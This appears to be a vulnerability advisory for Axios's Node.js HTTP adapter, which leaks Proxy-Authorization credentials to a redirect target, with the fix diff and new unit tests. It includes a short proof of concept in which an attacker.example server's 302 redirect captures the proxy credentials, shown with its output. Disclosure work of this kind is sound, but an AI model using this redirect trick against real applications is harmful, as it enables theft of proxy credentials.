Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
Description
Summary
Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.
This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.
Impact
An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.
The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.
This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.
Affected
Functionality
Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.
Relevant inputs and settings include:
HTTP_PROXY,HTTPS_PROXY, andNO_PROXY.- Authenticated proxy URLs such as
http://user:pass@proxy.example:8080. - Automatic redirect following through
follow-redirects. - Axios proxy handling in
setProxy(). - Redirect proxy handling through
beforeRedirects.proxy.
Technical
Details
In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.
If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.
The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.
Proof of
Concept of Attack
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Attacker-controlled HTTP endpoint:
HTTP/1.1 302 Found
Location: https://attacker.example/final
Expected result on affected versions:
https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz
Expected result on fixed versions:
https://attacker.example/final receives no Proxy-Authorization header
Workarounds
Set maxRedirects: 0 and handle redirects manually.
Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.
Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.
Original Source
Summary
Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.
This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.
Details
In the current implementation:
setProxy()addsProxy-Authorizationwhen a proxy with credentials is in use.- On redirects, Axios re-invokes
setProxy()for the redirected request. - If the redirected URL re-evaluates to "no proxy",
setProxy()does not clear the previously addedProxy-Authorizationheader. - The redirected request therefore reuses the stale header and sends it to the final origin.
Relevant code locations:
lib/adapters/http.jssetProxy()addsProxy-Authorization- redirect handling re-applies proxy logic through
beforeRedirects.proxy - no cleanup is performed when the recomputed redirect request no longer uses a proxy
### PoC 1. The victim sends GET http:///start 2. The request goes through a local authenticated corp proxy 3. The attacker-controlled HTTP endpoint returns 302 Location: https:///final 4. The redirected HTTPS request no longer uses a proxy 5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header
Observed output:
[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.
This demonstrates that the proxy credential is exposed to the redirect target origin.
Impact
Exposes authenticated proxy credentials to an attacker-controlled origin.
---
Affected products
2Patches
1afca61a07072fix: clear stale header on redirect when target is no-proxy (#10794)
2 files changed · +235 −15
lib/adapters/http.js+13 −2 modified@@ -194,7 +194,7 @@ function dispatchBeforeRedirect(options, responseDetails) { * * @returns {http.ClientRequestArgs} */ -function setProxy(options, configProxy, location) { +function setProxy(options, configProxy, location, isRedirect) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); @@ -204,6 +204,17 @@ function setProxy(options, configProxy, location) { } } } + // On redirect re-invocation, strip any stale Proxy-Authorization header carried + // over from the prior request (e.g. new target no longer uses a proxy, or uses + // a different proxy). Skip on the initial request so user-supplied headers are + // preserved. Header names are case-insensitive, so remove every case variant. + if (isRedirect && options.headers) { + for (const name of Object.keys(options.headers)) { + if (name.toLowerCase() === 'proxy-authorization') { + delete options.headers[name]; + } + } + } if (proxy) { // Basic proxy authorization if (proxy.username) { @@ -240,7 +251,7 @@ function setProxy(options, configProxy, location) { options.beforeRedirects.proxy = function beforeRedirect(redirectOptions) { // Configure proxy for redirected request, passing the original config proxy to apply // the exact same logic as if the redirected request was performed by axios directly. - setProxy(redirectOptions, configProxy, redirectOptions.href); + setProxy(redirectOptions, configProxy, redirectOptions.href, true); }; }
tests/unit/adapters/http.test.js+222 −13 modified@@ -2307,6 +2307,192 @@ describe('supports http with nodejs', () => { } }); + describe('Proxy-Authorization header leak on redirect (GHSA-j5f8-grm9-p9fc)', () => { + it('clears a stale Proxy-Authorization header when redirected request resolves to no proxy (configProxy=false)', () => { + const options = { + headers: {}, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); + assert.strictEqual( + options.headers['Proxy-Authorization'], + 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + 'initial request should carry Proxy-Authorization' + ); + + // Simulate redirect re-invocation where the redirected request is resolved to no proxy. + // This mirrors the beforeRedirects.proxy hook being called with configProxy=false. + const redirectOptions = { + headers: { ...options.headers }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + }; + __setProxy(redirectOptions, false, 'https://attacker.example.com/final', true); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'stale Proxy-Authorization must be stripped when redirected request no longer uses a proxy' + ); + }); + + it('clears a stale Proxy-Authorization header when environment-derived proxy is bypassed on redirect (NO_PROXY)', () => { + const originalHttpProxy = process.env.http_proxy; + const originalHttpsProxy = process.env.https_proxy; + const originalNoProxy = process.env.no_proxy; + + process.env.http_proxy = 'http://user:pass@127.0.0.1:8030'; + process.env.https_proxy = 'http://user:pass@127.0.0.1:8030'; + process.env.no_proxy = 'attacker.example.com'; + + try { + const options = { + headers: {}, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, undefined, 'http://initial.example.com/start'); + assert.strictEqual( + options.headers['Proxy-Authorization'], + 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + 'initial request should pick up proxy credentials from env' + ); + + const redirectOptions = { + headers: { ...options.headers }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + protocol: 'https:', + }; + __setProxy(redirectOptions, undefined, 'https://attacker.example.com/final', true); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'stale Proxy-Authorization must be stripped when redirect target is covered by NO_PROXY' + ); + } finally { + if (originalHttpProxy === undefined) delete process.env.http_proxy; else process.env.http_proxy = originalHttpProxy; + if (originalHttpsProxy === undefined) delete process.env.https_proxy; else process.env.https_proxy = originalHttpsProxy; + if (originalNoProxy === undefined) delete process.env.no_proxy; else process.env.no_proxy = originalNoProxy; + } + }); + + it('replaces Proxy-Authorization when redirect target resolves to a different proxy without credentials', () => { + const options = { + headers: {}, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); + assert.ok(options.headers['Proxy-Authorization'], 'precondition: initial proxy auth header set'); + + const redirectOptions = { + headers: { ...options.headers }, + beforeRedirects: {}, + hostname: 'second.example.com', + host: 'second.example.com', + port: 80, + }; + __setProxy(redirectOptions, { host: '127.0.0.2', port: 8031 }, 'http://second.example.com/final', true); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'stale credentials from previous proxy must not leak to a new proxy without credentials' + ); + }); + + it('strips stale Proxy-Authorization when the beforeRedirects.proxy hook is invoked with configProxy=false', () => { + const options = { + headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + beforeRedirects: {}, + hostname: 'initial.example.com', + host: 'initial.example.com', + port: 80, + }; + + __setProxy(options, false, 'http://initial.example.com/start'); + assert.strictEqual(typeof options.beforeRedirects.proxy, 'function', 'initial setProxy must install redirect hook'); + + const redirectOptions = { + headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + href: 'https://attacker.example.com/final', + }; + + options.beforeRedirects.proxy(redirectOptions); + + assert.strictEqual( + redirectOptions.headers['Proxy-Authorization'], + undefined, + 'beforeRedirects.proxy hook must strip stale Proxy-Authorization when redirect target has no proxy' + ); + }); + + it('preserves a user-supplied Proxy-Authorization header on the initial request when no proxy is configured', () => { + const userValue = 'Basic ' + Buffer.from('alice:secret', 'utf8').toString('base64'); + const options = { + headers: { 'Proxy-Authorization': userValue }, + beforeRedirects: {}, + hostname: 'example.com', + host: 'example.com', + port: 80, + }; + + __setProxy(options, false, 'http://example.com/start'); + + assert.strictEqual( + options.headers['Proxy-Authorization'], + userValue, + 'user-supplied Proxy-Authorization must not be stripped on the initial request' + ); + }); + + it('strips stale Proxy-Authorization regardless of header key casing', () => { + const staleValue = 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'); + const casings = ['proxy-authorization', 'PROXY-AUTHORIZATION', 'Proxy-authorization', 'pRoXy-AuThOrIzAtIoN']; + + for (const casing of casings) { + const redirectOptions = { + headers: { [casing]: staleValue }, + beforeRedirects: {}, + hostname: 'attacker.example.com', + host: 'attacker.example.com', + port: 443, + }; + + __setProxy(redirectOptions, false, 'https://attacker.example.com/final', true); + + const leaked = Object.keys(redirectOptions.headers).filter( + (name) => name.toLowerCase() === 'proxy-authorization' + ); + assert.deepStrictEqual( + leaked, + [], + `stale Proxy-Authorization with key "${casing}" must be stripped regardless of casing` + ); + } + }); + }); + it('should support cancel', async () => { const source = axios.CancelToken.source(); @@ -2675,30 +2861,53 @@ describe('supports http with nodejs', () => { } it('should not merge prototype-polluted getHeaders into outgoing request', async () => { - let receivedHeaders; - const server = await startHTTPServer( - (req, res) => { - receivedHeaders = req.headers; - res.end('{}'); + // Use a stub transport rather than a real HTTP server: polluting + // Object.prototype in-process can destabilise Node's HTTP server + // internals and cause spurious ECONNRESET. The stub captures the final + // outgoing headers axios constructs, which is what this test asserts on. + let capturedHeaders; + const stubTransport = { + request(options, handleResponse) { + capturedHeaders = { ...options.headers }; + const req = new EventEmitter(); + req.write = () => true; + req.setTimeout = () => {}; + req.destroy = () => {}; + req.end = () => { + const res = new stream.Readable({ read() {} }); + res.statusCode = 200; + res.statusMessage = 'OK'; + res.headers = {}; + res.rawHeaders = []; + res.req = req; + process.nextTick(() => { + handleResponse(res); + res.push(null); + }); + }; + return req; }, - { port: SERVER_PORT } - ); + }; try { pollute(); await axios.post( - `http://localhost:${server.address().port}/`, + 'http://stub.invalid/', { userId: 42 }, - { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } } + { + headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' }, + transport: stubTransport, + maxRedirects: 0, + } ); } finally { cleanup(); - await stopHTTPServer(server); } - assert.ok(receivedHeaders, 'request did not reach server'); - assert.strictEqual(receivedHeaders['x-injected'], undefined); - assert.notStrictEqual(receivedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); + assert.ok(capturedHeaders, 'transport was not invoked'); + assert.strictEqual(capturedHeaders['x-injected'], undefined); + assert.notStrictEqual(capturedHeaders['Authorization'], 'Bearer ATTACKER_TOKEN'); + assert.notStrictEqual(capturedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); }); }); });
Vulnerability mechanics
Root cause
"The Node.js HTTP adapter in Axios fails to clear the `Proxy-Authorization` header when following a redirect to a destination that no longer requires a proxy."
Attack vector
An attacker controls a server that a victim application makes an initial request to. The victim application must be configured to use an authenticated proxy (e.g., via `HTTP_PROXY` environment variable) and have automatic redirects enabled. The attacker's server responds with a redirect to a URL that does not require a proxy (e.g., an `https://` URL when `HTTPS_PROXY` is unset). The Axios adapter then follows this redirect, but incorrectly sends the stale `Proxy-Authorization` header to the attacker-controlled redirect target [ref_id=2].
Affected code
The vulnerability resides in the Node.js HTTP adapter, specifically within the `lib/adapters/http.js` file. The `setProxy` function is responsible for configuring proxy settings, and the redirect handling logic, particularly through the `beforeRedirects.proxy` hook, re-invokes `setProxy` without adequately clearing existing proxy authorization headers when the redirect target changes proxy requirements [ref_id=2].
What the fix does
The patch modifies the `setProxy` function to accept an `isRedirect` flag. When this flag is true, the function now iterates through the request headers and explicitly deletes any header with a case-insensitive name of `Proxy-Authorization` before re-applying proxy settings. This ensures that stale proxy credentials are removed when a redirect occurs and the new target does not require proxy authentication, preventing the leak [patch_id=4796912].
Preconditions
- configThe victim application must be using the Node.js HTTP adapter of Axios with automatic redirects enabled.
- configAn authenticated proxy must be configured for the initial request, typically via environment variables like `HTTP_PROXY` or `HTTPS_PROXY` with credentials.
- networkThe attacker must control a server that the victim application can make an initial request to.
Reproduction
```js process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start'); ``` Attacker-controlled HTTP endpoint: ```http HTTP/1.1 302 Found Location: https://attacker.example/final ``` Expected result on affected versions: ```text https://attacker.example/final receives: Proxy-Authorization: Basic dXNlcjpwYXNz ``` Expected result on fixed versions: ```text https://attacker.example/final receives no Proxy-Authorization header ```
Generated on Jun 4, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
6- github.com/advisories/GHSA-j5f8-grm9-p9fcghsaADVISORY
- github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858bghsa
- github.com/axios/axios/pull/10794ghsa
- github.com/axios/axios/releases/tag/v0.32.0ghsa
- github.com/axios/axios/releases/tag/v1.16.0ghsa
- github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fcghsa
News mentions
1- Axios: Four High-Severity Vulnerabilities Disclosed Together on June 4thVypr Intelligence · Jun 4, 2026